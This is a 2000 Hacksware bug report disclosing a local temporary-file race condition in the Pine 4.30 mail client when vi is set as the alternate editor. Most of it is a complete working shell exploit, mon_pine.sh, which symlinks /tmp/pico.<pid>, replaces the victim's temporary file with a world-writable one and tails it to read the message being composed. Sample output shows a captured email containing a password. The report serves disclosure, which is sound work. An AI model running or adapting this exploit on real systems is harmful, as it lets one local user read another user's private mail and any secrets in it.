Hacksware Bug Report

1. Name: Pine temporary file hijacking vulnerability
2. Release Date: 2000.12.11
3. Affected Application:
   Pine Version 4.30(or maybe other versions)
4. Author: mat@hacksware.com
5. Type: Local Race Condition
6. Explanation
 If pine setting is like following:
  [x]  enable-alternate-editor-cmd
  [x]  enable-alternate-editor-implicitly
  editor                   = /usr/bin/vi
 pine creates it's temporary in in /tmp directory with names like /tmp/pico.007292(where 7292 is the pid of pine process running).

 You can simply symlink this file(/tmp/pico.<pid>) to another file that doesn't exist.
 When victim is editing message victim editor vi follows symlinks and creates another file.
 By removing this symlink and creating your own temporary file and making it writable to victim, you can hijack his mail message.

7. Exploits

--------------------mon_pine.sh start--------------------------------
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
#  mat@hacksware.com
#  http://hacksware.com
#
# [x]  enable-alternate-editor-cmd
# [x]  enable-alternate-editor-implicitly
# editor                   = /usr/bin/vi
#

PID=$1
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`
echo PICO_FILE is $PICO_FILE

#if $PICO_FILE and $TRASHCAN exists, remove them
if test -f $PICO_FILE
then
 rm -f $PICO_FILE
fi
if test -f $TRASHCAN
then
 rm -f $TRASHCAN
fi

ln -s $TRASHCAN $PICO_FILE
while :
do
 if test -f $TRASHCAN
 then
  break
 fi
done

echo Victim is Editing Pine Message
rm -f $PICO_FILE
echo We replace temporary file
touch $PICO_FILE
chmod 777 $PICO_FILE
echo "Get the message from "$PICO_FILE
echo "^C to break tailer"
tail -f $PICO_FILE
--------------------mon_pine.sh end  --------------------------------

8. Example

[mat@overheaven /tmp]$ ps -ax|grep pine|grep -v grep
 7292 pts/1    S      0:22 pine
[mat@overheaven /tmp]$ sh mon_pine.sh 7292
PICO_FILE is /tmp/pico.007292

... wait for victim to compose mail....

Victim is Editing Mail
We replace temporary file
Get the message from /tmp/pico.007292
^C to break tailer

Hello...

Your new password is "greenbee"

Don't let anyone know this...
Thanks..



-- 
=================================================
|               mat@hacksware.com               |
|             http://hacksware.com              |
=================================================